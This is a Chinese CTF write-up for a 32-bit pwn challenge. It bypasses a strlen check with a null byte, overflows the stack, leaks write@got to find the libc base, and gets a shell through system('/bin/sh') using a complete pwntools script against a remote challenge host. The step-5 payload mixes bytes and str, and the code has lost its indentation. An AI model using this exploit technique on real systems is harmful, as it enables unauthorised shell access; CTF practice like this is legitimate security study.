1.检查保护机制
(1)该文件是32位文件
(2)开启堆栈不可执行
2.用32位IDA打开该文件
(1)shift+f12查看关键字符串,没有看见"/bin/sh"等关键词,但是看到个正确的字眼
(2)双击关键字符串,ctrl+x进入main函数
(3)我们发现buf存放了四个随机数,然后把四个随机数传入one()函数里面,再把返回值赋值给v2,再传入two()函数。进入one()函数查看
(4)strlen()函数遇到'\0'停止运行('\0'=='\x00'),就会执行下面的exit(0)。我们想要执行成功就要绕过exit(0),可以利用'\0'来绕过。要查看buf首地址到buf[7]的距离:0x7 (0x2c-0x25)
(5)我们就可以写第一个函数的payload了,把返回值buf[7]的值修改到最大0xff(255)
payload = b'\x00' + '\xff'*7
(6)查看two函数
(7)因为a1的值是0xff(255),所以造成溢出,利用这个溢出获取权限。buf:0xe7
3.EXP
思路:
(1)控制返回值buf[7]
(2)泄露libc
(3)执行payload
#encoding = utf-8
from pwn import*
from LibcSearcher import*
context(os = 'linux',arch = 'i386',log_level = 'debug')
content = 0
elf = ELF("pwn1")
lib = ELF("libc-2.23.so")
def main():
if content == 1:
p = process('pwn1')
else:
p = remote('node4.buuoj.cn',29759)
main_addr = 0x8048825
got_addr = elf.got['write']
plt_addr = elf.plt['write']
payload1 = b'\x00' + b'\xff'*(0x2c-0x25)
p.sendline(payload1)
p.recvuntil('Correct\n')
payload = b'a' * (0xe7+0x4) + p32(plt_addr) + p32(main_addr) + p32(1) + p32(got_addr) + p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))
print(hex(write_addr))
#lib
lib_write = lib.symbols['write']
lib_system = lib.symbols['system']
lib_binsh = next(lib.search(b"/bin/sh"))
base_addr = write_addr - lib_write
system_addr = base_addr + lib_system
binsh_addr = base_addr + lib_binsh
payload1 = b'\x00' + b'\xff'*(0x2c-0x25)
p.sendline(payload1)
p.recvuntil('Correct\n')
payload = b'a'*(0xe7+0x4) + p32(system_addr) + b'AAAA' + p32(binsh_addr)
p.sendline(payload)
p.interactive()
main()